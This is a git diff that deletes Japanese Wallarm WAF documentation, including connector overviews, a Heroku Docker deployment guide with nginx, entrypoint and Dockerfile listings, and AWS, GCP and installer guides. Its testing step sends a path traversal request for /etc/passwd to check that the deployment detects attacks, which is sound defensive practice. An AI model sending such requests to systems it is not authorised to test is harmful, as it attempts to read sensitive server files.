-Wallarmポリシーが自動ポリシーとして適用されている場合、直接のアップグレードができないことがあります。その場合は、現在のポリシーを削除し、新しいバージョンを手動で再適用してください。 - -ポリシーのアップグレードでは、特にメジャーバージョン更新時に、Wallarmノードのアップグレードが必要になることがあります。セルフホスト型Nodeのリリースノートおよびアップグレード手順は[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を、Wallarmホスト型ノードの場合は[Edgeコネクタのアップグレード手順](../security-edge/se-connector.md#upgrading-the-edge-node)を参照してください。将来のアップグレードを容易にし、非推奨化を避けるためにも、ノードは定期的に更新することを推奨します。 - -## ポリシーのアンインストール - -Wallarmポリシーをアンインストールするには、自動ポリシー一覧または個別APIに適用されたポリシー一覧で**Remove policy**オプションを使用します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/overview.md b/docs/latest-ja/installation/connectors/overview.md deleted file mode 100644 index 9af5017da1..0000000000 --- a/docs/latest-ja/installation/connectors/overview.md +++ /dev/null @@ -1,46 +0,0 @@ -# Wallarmをコネクターとしてデプロイする - -APIのデプロイは、Azion Edge、Akamai Edge、MuleSoft、Apigee、CloudFrontなどの外部ツールを活用するなど、さまざまな方法で実行できます。これらのAPIをWallarmで保護する方法をお探しの場合、そのようなケース向けに設計された「コネクター」という形のソリューションをご提供しています。 - -## 仕組み - -Wallarmのコネクターソリューションは、APIゲートウェイやエッジプラットフォームなどのサードパーティプラットフォームと連携して、トラフィックをフィルタリングおよび分析します。このソリューションは主に2つのコンポーネントで動作します： - -* [Wallarm](../security-edge/se-connector.md)またはお客様のいずれかがホストする**Wallarm node**が、トラフィックの解析とセキュリティチェックを実行します。 -* サードパーティプラットフォームに注入され、分析のためにトラフィックをWallarm nodeへルーティングする**Wallarm提供のコードバンドルまたはポリシー**。 - -コネクターを使用すると、トラフィックは[インライン](../inline/overview.md)または[アウトオブバンド](../oob/overview.md)で分析できます： - -=== "インラインのトラフィックフロー" - - Wallarmが悪意のあるアクティビティを[block](../../admin-en/configure-wallarm-mode.md)するように設定されている場合： - - ![画像](../../images/waf-installation/general-traffic-flow-for-connectors-inline.png) -=== "アウトオブバンドのトラフィックフロー" - ![画像](../../images/waf-installation/general-traffic-flow-for-connectors-oob.png) - -## サポート対象プラットフォーム - -Wallarmは以下のプラットフォーム向けのコネクターを提供しています。 - -| コネクター | サポートされるトラフィックフローモード | ホスティング形態 | -| --- | ---- | ---- | -| [MuleSoft Mule Gateway](mulesoft.md) | インライン | Security Edge、セルフホスト | -| [MuleSoft Flex Gateway](mulesoft-flex.md) | インライン、アウトオブバンド | セルフホスト | -| [Apigee](apigee.md) | インライン | セルフホスト | -| [Akamai](akamai-edgeworkers.md) | インライン、アウトオブバンド | セルフホスト | -| [Azion Edge](azion-edge.md) | インライン | セルフホスト | -| [Amazon CloudFront](aws-lambda.md) | インライン、アウトオブバンド | Security Edge、セルフホスト | -| [Cloudflare](cloudflare.md) | インライン、アウトオブバンド | Security Edge、セルフホスト | -| [Kong Ingress Controller](kong-api-gateway.md) | インライン | セルフホスト | -| [Istio Ingress](istio.md) | インライン、アウトオブバンド | セルフホスト | -| [Broadcom Layer7 API Gateways](layer7-api-gateway.md) | インライン | セルフホスト | -| [Fastly](fastly.md) | インライン、アウトオブバンド | Security Edge、セルフホスト | -| [IBM DataPower](ibm-api-connect.md) | インライン | Security Edge、セルフホスト | - -お探しのコネクターが見つからない場合は、要件のご相談や可能な解決策の検討のため、[営業チーム](mailto:sales@wallarm.com)までお気軽にご連絡ください。 - -!!! info "デプロイの代替案" - マネージドのインラインオプションをご希望ですか？[Security Edge](../security-edge/overview.md)をご覧ください。 - - 従来型のセルフマネージドデプロイ（VM、Kubernetes、クラウド環境）の場合は、[セルフホストNodeのデプロイ](../supported-deployment-options.md)をご参照ください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/custom/custom-nginx-version.md b/docs/latest-ja/installation/custom/custom-nginx-version.md deleted file mode 100644 index 2e4157e12f..0000000000 --- a/docs/latest-ja/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1,19 +0,0 @@ -# カスタムNGINXパッケージ - -[オールインワンインストール](../../installation/nginx/all-in-one.md)でサポートされているバージョンと異なるNGINXのバージョン（stable版、mainline、NGINX Plus、またはディストリビューション版など）でWallarmが必要な場合は、以下の手順に従ってカスタムのWallarmビルドを依頼できます。 - -Wallarmモジュールは、Wallarmパッケージを再ビルドすることで、NGINX`mainline`を含むカスタムビルドのNGINXに統合できます。パッケージを再ビルドするには、[Wallarmテクニカルサポート](mailto:support@wallarm.com)チームにご連絡のうえ、次の情報をご提供ください: - -* Linuxカーネルのバージョン: `uname -a` -* Linuxディストリビューション: `cat /etc/*release` -* NGINXのバージョン: - - * [NGINX公式ビルド](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * NGINXカスタムビルド: `/nginx -V` - -* 互換性シグネチャ: - - * [NGINX公式ビルド](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * NGINXカスタムビルド: `egrep -ao '.,.,.,[01]{33}' /nginx` - -* NGINXワーカープロセスを実行しているユーザー（およびそのユーザーのグループ）: `grep -w 'user' ` \ No newline at end of file diff --git a/docs/latest-ja/installation/custom/request-custom-deployment.md b/docs/latest-ja/installation/custom/request-custom-deployment.md deleted file mode 100644 index bda1a42041..0000000000 --- a/docs/latest-ja/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1,17 +0,0 @@ -# カスタムデプロイメントオプションのリクエスト - -弊社の[サポート対象オプション](../supported-deployment-options.md)一覧に記載のないカスタムデプロイメントオプションにご関心がある場合は、お客様の固有のニーズに完全に合致する解決策を見つけるために喜んで協力します。 - -特定のインフラ要件、セキュリティニーズ、統合の依存関係など、カスタムWallarmデプロイメントビルドを必要とするさまざまな状況があります。以下は、カスタムデプロイメントビルドが必要となるケースの例です: - -* サービスがサポート対象オプションに記載されていないクラウドプラットフォーム上で稼働している場合。 -* デプロイ手順に複数のテクノロジーの組み合わせが関与している、またはセルフホストとクラウドベースのインフラを混在させたハイブリッド環境で稼働しており、事前定義済みリストから適切なデプロイメントオプションを選択するのが難しい場合。 -* 特別に構成したトラフィックミラー向けのアウトオブバンドソリューションが必要な場合。 -* サービスが、ドキュメントに記載のないカスタム版または独自タイプのIngressコントローラー、Webサーバー、ロードバランサーなどに対応している場合。 - - カスタムNGINXバージョン用のインストーラーをお探しの場合は、入手方法についての[専用手順](custom-nginx-version.md)をご参照ください。 - -カスタムWallarmデプロイメントオプションをリクエストするには: - -* [Wallarm営業チームに連絡してください](mailto:sales@wallarm.com?subject=Request%20for%20custom%20Wallarm%20deployment&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20explore%20a%20Wallarm%20deployment%20option%20for%20my%20product%20security.%20I%20couldn%27t%20find%20what%20I%20need%20among%20the%20listed%20options%20in%20your%20documentation%2C%20and%20I%20would%20appreciate%20your%20help%20to%20explore%20the%20possibilities.%0AI%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0AThank%20you%20for%20your%20time%20and%20assistance.)、または -* [デモリクエストフォームから個別通話を予約してください](https://www.wallarm.com/request-demo) \ No newline at end of file diff --git a/docs/latest-ja/installation/heroku/docker-image.md b/docs/latest-ja/installation/heroku/docker-image.md deleted file mode 100644 index 5da238a8e5..0000000000 --- a/docs/latest-ja/installation/heroku/docker-image.md +++ /dev/null @@ -1,518 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[node-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[doc-stat-service]: ../../admin-en/configure-statistics-service.md -[aio-docs]: ../nginx/all-in-one.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Heroku上でWallarmを実行する - -Wallarmは[Heroku](https://www.heroku.com/)クラウドプラットフォームにデプロイされたWebアプリケーションとAPIを保護できます。本ガイドでは、トラフィックをリアルタイムに解析するためにHeroku上でWallarmノードを実行する手順を説明します。 - -現時点では、Wallarmから提供するHeroku向けの公式Dockerイメージはありません。そのため、本ガイドでは[all-in-oneインストーラー][aio-docs]を使用して独自のイメージを作成・実行する方法を説明します。 - -## 要件 - -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされていること -* Heroku用Wallarm DockerイメージをプッシュするためのDockerアカウント -* ホストシステムに[Heroku CLI](https://devcenter.heroku.com/articles/heroku-cli)がインストールされていること -* Herokuのweb dyno上で動作するアプリケーションまたはAPI -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleへの管理者アクセス -* Wallarmのall-in-oneインストーラーをダウンロードするための`https://meganode.wallarm.com`へのアクセス -* USのWallarm Cloudを利用するための`https://us1.api.wallarm.com`またはEUのWallarm Cloudを利用するための`https://api.wallarm.com`へのアクセス -* 攻撃検出ルールや[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[許可リスト、拒否リスト、グレーリスト][ip-lists-docs]の国、地域、またはデータセンターの正確なIPを取得するために、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" - -## ステップ1: WallarmのDocker設定を準備する - -HerokuにWallarmのDockerイメージをデプロイするには、まずイメージのビルドプロセスに必要な設定ファイルを作成します。以下の手順に従ってください。 - -1. ローカルシステムにWallarmのDocker設定用ディレクトリを作成し、そのディレクトリに移動します。 -1. NGINXと[Wallarmの設定][waf-directives-instr]を含む`nginx.conf`ファイルを作成します。Dockerイメージは[NGINX互換のall-in-oneインストーラー][aio-docs]を基にするため、NGINXが適切に設定されていることを確認してください。 - - 以下は、Wallarmノードをmonitoringモードで動作させる基本構成のテンプレートです。 - - ``` - daemon off; - worker_processes auto; - load_module /usr/lib/nginx/modules/ngx_http_wallarm_module.so; - pid /tmp/nginx.pid; - include /etc/nginx/modules-enabled/*.conf; - - events { - worker_connections 768; - use epoll; - accept_mutex on; - } - - http { - gzip on; - gzip_comp_level 2; - gzip_min_length 512; - gzip_proxied any; # HerokuルーターはViaヘッダーを送信します - - proxy_temp_path /tmp/proxy_temp; - client_body_temp_path /tmp/client_temp; - fastcgi_temp_path /tmp/fastcgi_temp; - uwsgi_temp_path /tmp/uwsgi_temp; - scgi_temp_path /tmp/scgi_temp; - - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - server_tokens off; - - # server_names_hash_bucket_size 64; - # server_name_in_redirect off; - - include /etc/nginx/mime.types; - default_type application/octet-stream; - - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log; - - # メインのHerokuアプリ - server { - listen $PORT default_server; - server_name _; - wallarm_mode monitoring; - - location / { - proxy_pass http://unix:/tmp/nginx.socket; - - # Herokuアプリは常にロードバランサーの背後にあるため、すべてのIPを信頼します - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - real_ip_recursive off; - proxy_redirect off; - proxy_set_header Host $http_host; - proxy_set_header "Connection" ""; - } - - error_page 403 /403.html; - location = /403.html { - root /usr/share/nginx/html; - internal; - } - } - - # Wallarmステータスのヘルパー（localhostのみ） - server { - listen 127.0.0.8:$PORT; - server_name localhost; - allow 127.0.0.0/8; - deny all; - wallarm_mode off; - disable_acl "on"; - access_log off; - location ~/wallarm-status$ { - wallarm_status on; - } - } - } - ``` -1. WallarmのDockerイメージ用の指示を含む以下の`entrypoint.sh`ファイルを作成します。 - - ``` - #!/bin/bash - - set -e - - log() { - local msg="$1" - local level="$2" - if [ -z "$level" ]; then - level="INFO" - fi - echo "[$(date '+%Y-%m-%d %H:%M:%S')] [$level] $msg" - } - - log "Script execution started." - - # 必要なディレクトリが存在することを確認します - log "Ensuring necessary directories exist for supervisord." - mkdir -p /opt/wallarm/var/log/wallarm - mkdir -p /opt/wallarm/run/supervisor - - if [ ! -z "$WALLARM_API_TOKEN" ]; then - log "WALLARM_API_TOKEN is set, checking configuration." - if [[ $DYNO == web.* ]]; then - log "Heroku dyno type [$DYNO] is 'web', proceeding with Wallarm configuration." - # 環境変数を引き継ぎます - log "Propagating environment variables from /opt/wallarm/env.list." - set -a - source /opt/wallarm/env.list - if [ -s /etc/wallarm-override/env.list ]; then - log "Propagating environment variables from /etc/wallarm-override/env.list." - source /etc/wallarm-override/env.list - fi - set +a - - # CloudにWallarmノードを登録します - log "Registering Wallarm node in the cloud." - /opt/wallarm/register-node - - # nginxの設定でPORTを構成します - log "Replacing \$PORT in Nginx configuration with value $PORT." - sed -i "s/\$PORT/${PORT}/g" /etc/nginx/nginx.conf - - # PORTが正しく置換されたことを確認します - log "Checking if the PORT in Nginx configuration was successfully replaced." - if cat /etc/nginx/nginx.conf | grep -q "listen ${PORT}"; then - log "Successfully replaced PORT in Nginx configuration with value $PORT." - else - log "Failed to replace PORT in Nginx configuration!" "ERROR" - exit 1 - fi - - # $PORTを$NGINX_PORTとしてエクスポートします（`export-metrics`スクリプトに必要） - log "Exporting PORT as NGINX_PORT for Wallarm metrics." - export NGINX_PORT="$PORT" - - # supervisordの下でWallarmサービスとNGINXをすべて起動します - log "Starting all Wallarm services and NGINX under supervisord." - /opt/wallarm/usr/bin/python3.10 /opt/wallarm/usr/bin/supervisord -c /opt/wallarm/etc/supervisord.conf --loglevel=debug - # supervisordが正常に起動したか確認します - log "Checking if supervisord process is running." - if pgrep -f "supervisord" > /dev/null; then - log "supervisord process started successfully." - else - log "Failed to start supervisord process!" "ERROR" - exit 1 - fi - - # supervisordで管理されるサービスの状態を確認します - log "Checking the status of all services managed by supervisord every 10s during 3 minutes." - timeout=0 - - while (/opt/wallarm/usr/bin/supervisorctl -c /opt/wallarm/etc/supervisord.conf status | grep -qv "RUNNING"); - do - log "One or more services failed to start!" "ERROR" - log "Waiting 10s and check it again" - sleep 10s - timeout=$(( timeout + 10 )) - - if [ $timeout -ge 180 ]; - then - log "One or more services failed to start!" "ERROR" - /opt/wallarm/usr/bin/supervisorctl -c /opt/wallarm/etc/supervisord.conf status - exit 1 - fi - done - - log "All services are running successfully." - log "Wallarm configuration completed." - - else - log "Heroku dyno type [$DYNO] is not 'web', skipping Wallarm configuration." - fi - else - log "WALLARM_API_TOKEN is not set, executing CMD." - fi - - # CMDコマンドを実行します - log "Executing command: $@" - exec "$@" - log "Script execution finished." - ``` - -1. 次のコマンドを実行して`entrypoint.sh`の権限を`-rwxr-xr-x`に設定します。 - - ``` - chmod 755 entrypoint.sh - ``` -1. Wallarmがブロックするリクエストに対して、整ったページを表示する`403.html`ファイルを作成します。次をコピーできます。 - - ```html - Forbidden
        Your request has been blocked

        If you think this is a mistake, please get in touch with the app's support team.

        - ``` - -1. WallarmのDockerイメージのビルドプロセスを記述する`Dockerfile`を作成します。 - - ```dockerfile - FROM ubuntu:22.04 - - ARG VERSION="6.4.1" - - ENV PORT=3000 - ENV WALLARM_LABELS="group=heroku" - ENV WALLARM_API_TOKEN= - ENV WALLARM_API_HOST="us1.api.wallarm.com" - - RUN apt-get -qqy update && apt-get -qqy install nginx curl && apt-get clean - - # Wallarmのall-in-oneインストーラーをダウンロードして展開します - RUN curl -o /install.sh "https://meganode.wallarm.com/$(echo "$VERSION" | cut -d '.' -f 1-2)/wallarm-$VERSION.x86_64-glibc.sh" \ - && chmod +x /install.sh \ - && /install.sh --noexec --target /opt/wallarm \ - && rm -f /install.sh \ - && cd /opt/wallarm \ - && chmod +x pick-module.sh \ - && SELECTED_MODULE="$(./pick-module.sh)" \ - && echo "Selected module => $SELECTED_MODULE" \ - # wlrm-moduleをNGINXのモジュールディレクトリにコピーします - && cp "$SELECTED_MODULE" /usr/lib/nginx/modules/ngx_http_wallarm_module.so \ - && mkdir -p /usr/local/lib \ - && mv /opt/wallarm/modules/libwallarm.so* -t "/usr/local/lib/" \ - && rm -rf /opt/wallarm/modules - - # supervisordをバックグラウンドで実行します。フォアグラウンドのプロセスはHerokuアプリ本体です - RUN sed -i '/nodaemon=true/d' /opt/wallarm/etc/supervisord.conf - - # supervisordにNGINXを追加します - RUN printf "\n\n[program:nginx]\ncommand=/usr/sbin/nginx\nautorestart=true\nstartretries=4294967295\n" | tee -a /opt/wallarm/etc/supervisord.conf - - # Herokuは権限のないユーザー（dyno:dyno）で実行するため、Wallarmディレクトリへのアクセス権を付与する必要があります - RUN find /opt/wallarm -type d -exec chmod 777 {} \; - - # NGINX設定をコピーします - COPY nginx.conf /etc/nginx/nginx.conf - - # Heroku風の403エラーページ - COPY 403.html /usr/share/nginx/html/403.html - - # entrypoint.shを追加します - COPY entrypoint.sh /entrypoint.sh - - # entrypointにdyno:dynoの下で設定を変更させ、NGINXログをコンソールへリダイレクトします - RUN chmod +x /entrypoint.sh \ - && chmod 666 /etc/nginx/nginx.conf \ - && chmod 777 /etc/nginx/ \ - && ln -sf /dev/stdout /var/log/nginx/access.log \ - && ln -sf /dev/stderr /var/log/nginx/error.log - - ENTRYPOINT ["/entrypoint.sh"] - ``` - -## ステップ2: Heroku用のWallarm Dockerイメージをビルドする - -先ほど作成したディレクトリ内で次のコマンドを実行します。 - -``` -docker build -t wallarm-heroku:6.4.1 . -docker login -docker tag wallarm-heroku:6.4.1 /wallarm-heroku:6.4.1 -docker push /wallarm-heroku:6.4.1 -``` - -## ステップ3: ビルドしたDockerイメージをHerokuで実行する - -イメージをHerokuにデプロイするには: - -1. 以降の操作を行うため、アプリケーションディレクトリのルートに移動します。 -1. アプリのランタイムに固有の必要な依存関係のインストールを含む`Dockerfile`を作成します。Node.jsアプリケーションの場合は、次のテンプレートを使用します。 - - ```dockerfile - FROM /wallarm-heroku:6.4.1 - - ENV NODE_MAJOR=20 - - # NodeSourceからNodeJS v20をインストールします - RUN apt-get update \ - && apt-get install -qqy ca-certificates curl gnupg \ - && mkdir -p /etc/apt/keyrings \ - && curl -fsSL https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg \ - && echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_$NODE_MAJOR.x nodistro main" | tee /etc/apt/sources.list.d/nodesource.list \ - && apt-get update \ - && apt-get install nodejs -qqy \ - && apt-get clean - - ADD . /opt/webapp - WORKDIR /opt/webapp - - # 依存関係をインストールしてアプリをビルドします - RUN npm install --omit=dev - ENV npm_config_prefix /opt/webapp - - # private spacesではheroku.ymlの`run`セクションは無視されることに注意してください - # 参照: https://devcenter.heroku.com/articles/build-docker-images-heroku-yml#known-issues-and-limitations - CMD ["npm", "run", "start"] - ``` -1. 次の内容で`heroku.yml`構成ファイルを作成します。 - - ```yaml - build: - docker: - web: Dockerfile - ``` - -1. NGINXが`$PORT`を使用するため、アプリケーションが`$PORT`ではなく`/tmp/nginx.socket`で待ち受けるように調整します。例えば、設定は次のようになります。 - - ```js hl_lines="4-5" - // app.js - const app = require('express')() - - let port = process.env.PORT || 3000 // Wallarmが未設定の場合は$PORTで待ち受けます - if(process.env.WALLARM_API_TOKEN) port = '/tmp/nginx.socket' // Wallarmが設定されています - - app.listen(port, (err) => { - if (err) throw err - console.log(`> App is listening on ${port}`) - }) - - app.get('/', (req, res) => { - res.send('This app is protected by Wallarm') - }) - ``` -1. Wallarm CloudにWallarmノードインスタンスをリンクするため、[適切な種類][node-token-types]のフィルタリングノードトークンを生成します。 - - === "APIトークン" - 1. Wallarm Console → **Settings** → **API tokens**を[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)で開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPI tokenを探すか作成します。 - 1. このトークンをコピーします。 - 1. 次の環境変数で、Wallarmノードを追加するノードグループ名を指定します。 - - ``` - heroku config:set WALLARM_LABELS=group= - ``` - === "ノードトークン" - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)でWallarm Console → **Nodes**を開きます。 - 1. **Wallarm node**タイプのフィルタリングノードを作成し、生成されたトークンをコピーします。 -1. ノードをCloudに接続するためのパラメータを、該当する変数に設定します。 - - === "US Cloud" - ``` - heroku config:set WALLARM_API_TOKEN= - ``` - === "EU Cloud" - ``` - heroku config:set WALLARM_API_HOST=api.wallarm.com - heroku config:set WALLARM_API_TOKEN= - ``` -1. アプリケーションをプッシュして再起動をトリガーし、Wallarmノードをデプロイします。 - - ``` - git add Dockerfile heroku.yml app.js - git commit -m "Add Wallarm Docker" - heroku stack:set container - git push heroku - ``` - -## ステップ4: デプロイをテストする - -デプロイが機能していることを確認するため、[Path Traversal][ptrav-attack-docs]のエクスプロイトを用いてテスト攻撃を実行します。 - -``` -curl http:///etc/passwd -``` - -ノードはデフォルトで[フィルタリングモード][filtration-mode-docs]のうちmonitoringで動作するため、Wallarmノードは攻撃をブロックせず記録します。攻撃が記録されたことを確認するには、Wallarm Console → **Attacks**に進みます。 - -![インターフェースのAttacks][attacks-in-ui-image] - -## デバッグ - -WallarmのベースDockerイメージで問題が発生した場合は、エラーメッセージがないかHerokuのログを確認します。 - -``` -heroku logs --tail -``` - -デプロイ中に支援が必要な場合は、[Wallarmサポートチーム](mailto:support@wallarm.com)にお問い合わせください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/inline/compute-instances/aws/aws-ami.md b/docs/latest-ja/installation/inline/compute-instances/aws/aws-ami.md deleted file mode 100644 index 4dc430805f..0000000000 --- a/docs/latest-ja/installation/inline/compute-instances/aws/aws-ami.md +++ /dev/null @@ -1,55 +0,0 @@ -# Amazon Machine ImageからのWallarmのデプロイ - -本記事では、[公式のAmazon Machine Image（AMI）](https://aws.amazon.com/marketplace/pp/B073VRFXSD)を使用し、AWSでWallarmを[インライン][inline-docs]でデプロイする手順を説明します。 - -このイメージはDebianおよびDebianが提供するNGINXのバージョンをベースにしています。現在、最新のイメージはDebian 12を使用しており、NGINX stable 1.22.1を含みます。 - -AWS上のAMIからWallarmノードをデプロイする作業は通常約10分で完了します。 - -![!][aws-ami-traffic-flow] - -!!! info "セキュリティに関する注意" - このソリューションはAWSのセキュリティベストプラクティスに従うよう設計されています。デプロイにはAWSのルートアカウントの使用は避けることをおすすめします。代わりに、必要最小限の権限のみを付与したIAMユーザーまたはロールを使用してください。 - - デプロイプロセスは最小権限の原則を前提としており、Wallarmコンポーネントのプロビジョニングと運用に必要な最小限のアクセス権のみを付与します。 - -このデプロイに伴うAWSインフラストラクチャコストの見積もり方法については、[AWSでWallarmをデプロイする際のコストガイダンス][aws-costs]ページをご覧ください。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/ami-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md" - -## 6. インスタンスをWallarm Cloudに接続する - -クラウドインスタンスのノードは[cloud-init.py][cloud-init-spec]スクリプトを介してWallarm Cloudに接続します。このスクリプトは、提供されたトークンを使用してノードをWallarm Cloudに登録し、グローバルに監視[モード][wallarm-mode]に設定し、`--proxy-pass`フラグに基づいて正当なトラフィックを転送するようノードを構成します。NGINXを再起動すると設定が完了します。 - -クラウドイメージから作成したインスタンス上で次のように`cloud-init.py`スクリプトを実行します。 - -=== "USクラウド" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "EUクラウド" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='` はノードグループ名を設定します（既存のグループ、または存在しない場合は作成されます）。APIトークンを使用する場合にのみ適用されます。 -* `` はコピーしたトークンの値です。 -* `` はWallarmノードが正当なトラフィックをプロキシ転送する宛先アドレスです。アーキテクチャに応じて、アプリケーションインスタンスのIP、ロードバランサー、DNS名などを指定できます。 - -## 7. Wallarmインスタンスにトラフィックを送信するよう構成する - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 8. Wallarmの動作をテストする - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 9. デプロイ済みソリューションを微調整する - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/inline/compute-instances/gcp/machine-image.md b/docs/latest-ja/installation/inline/compute-instances/gcp/machine-image.md deleted file mode 100644 index 78fd7d0df9..0000000000 --- a/docs/latest-ja/installation/inline/compute-instances/gcp/machine-image.md +++ /dev/null @@ -1,44 +0,0 @@ -# GCPマシンイメージからのWallarmのデプロイ - -本記事では、[公式のマシンイメージ](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node)を使用して、GCP上に[インライン][inline-docs]でWallarmをデプロイする手順を説明します。 - -このイメージはDebianおよびDebianが提供するNGINXのバージョンに基づいています。現在、最新のイメージはDebian 12を使用しており、NGINX安定版1.22.1を含みます。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md" - ---8<-- "../include/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image.md" - -## 5. フィルタリングノードをWallarm Cloudに接続する - -クラウドインスタンスのノードは、[cloud-init.py][cloud-init-spec]スクリプト経由でWallarm Cloudに接続します。このスクリプトは、提供されたトークンを使用してノードをWallarm Cloudに登録し、グローバルに監視[モード][wallarm-mode]へ設定し、`--proxy-pass`フラグに基づいて正規のトラフィックを転送するようノードをセットアップします。NGINXを再起動するとセットアップが完了します。 - -クラウドイメージから作成したインスタンス上で、次のように`cloud-init.py`スクリプトを実行します。 - -=== "USクラウド" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` -=== "EUクラウド" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - -* `WALLARM_LABELS='group='`はノードグループ名を設定します（既存の場合、存在しない場合は作成されます）。これはAPIトークンを使用している場合にのみ適用されます。 -* ``はコピーしたトークンの値です。 -* ``は、Wallarmノードが正規のトラフィックをプロキシ転送する宛先アドレスです。アーキテクチャに応じて、アプリケーションインスタンスやロードバランサのIP、DNS名などを指定できます。 - -## 6. Wallarmインスタンスへのトラフィック送信を構成する - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 7. Wallarmの動作をテストする - ---8<-- "../include/waf/installation/cloud-platforms/test-operation-inline.md" - -## 8. デプロイ済みソリューションを微調整する - ---8<-- "../include/waf/installation/cloud-platforms/fine-tuning-options.md" - ---8<-- "../include/waf/installation/cloud-platforms/restart-nginx.md" \ No newline at end of file diff --git a/docs/latest-ja/installation/inline/compute-instances/linux/all-in-one.md b/docs/latest-ja/installation/inline/compute-instances/linux/all-in-one.md deleted file mode 100644 index a54299f299..0000000000 --- a/docs/latest-ja/installation/inline/compute-instances/linux/all-in-one.md +++ /dev/null @@ -1,95 +0,0 @@ -# All-in-Oneインストーラーでのデプロイ - -All-in-Oneインストーラーは、Linuxベースの環境で[インラインでのトラフィックフィルタリング][inline-docs]を行うために、NGINXの動的モジュールとしてWallarmノードをインストールするよう設計されています。このインストーラーは、お使いのOSとNGINXのバージョンを自動的に判別し、必要な依存関係をすべてインストールします。 - -All-in-Oneインストーラーは、次の処理を自動で実行することで、ノードのインストールを簡単にします。 - -1. OSとNGINXのバージョンを確認します。 -1. 検出されたOSとNGINXのバージョンに対応するWallarmリポジトリを追加します。 -1. これらのリポジトリからWallarmパッケージをインストールします。 -1. インストール済みのWallarmモジュールをNGINXに接続します。 -1. 提供されたトークンを使用してフィルタリングノードをWallarm Cloudに接続します。 - -## ユースケース - ---8<-- "../include/waf/installation/all-in-one/use-cases.md" - -## 要件 - ---8<-- "../include/waf/installation/all-in-one-requirements-latest.md" - -## 手順1: NGINXと依存関係をインストールします - ---8<-- "../include/waf/installation/all-in-one-nginx.md" - -## 手順2: Wallarmトークンを準備します - ---8<-- "../include/waf/installation/all-in-one-token.md" - -## 手順3: All-in-OneのWallarmインストーラーをダウンロードします - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -## 手順4: All-in-OneのWallarmインストーラーを実行します - ---8<-- "../include/waf/installation/all-in-one-installer-run.md" - -以降の手順で使用するコマンドは、x86_64およびARM64のインストールで同一です。 - -## 手順5: トラフィック解析のためにWallarmノードを有効化します - ---8<-- "../include/waf/installation/common-steps-to-enable-traffic-analysis-inline.md" - -## 手順6: NGINXを再起動します - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -## 手順7: トラフィックをWallarmノードに送信するよう設定します - ---8<-- "../include/waf/installation/sending-traffic-to-node-inline.md" - -## 手順8: Wallarmノードの動作をテストします - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 手順9: デプロイ済みソリューションを微調整します - -デフォルト設定の動的Wallarmモジュールがインストールされています。フィルタリングノードは、デプロイ後に追加の設定が必要になる場合があります。 - -Wallarmの設定は、[NGINXディレクティブ][waf-directives-instr]またはWallarm Console UIで定義します。ディレクティブは、Wallarmノードがあるマシン上の次のファイルに設定します。 - -* `/etc/nginx/sites-available/default`（サーバーレベルおよびlocationレベルの設定） -* `/etc/nginx/nginx.conf`（httpレベルの設定） -* 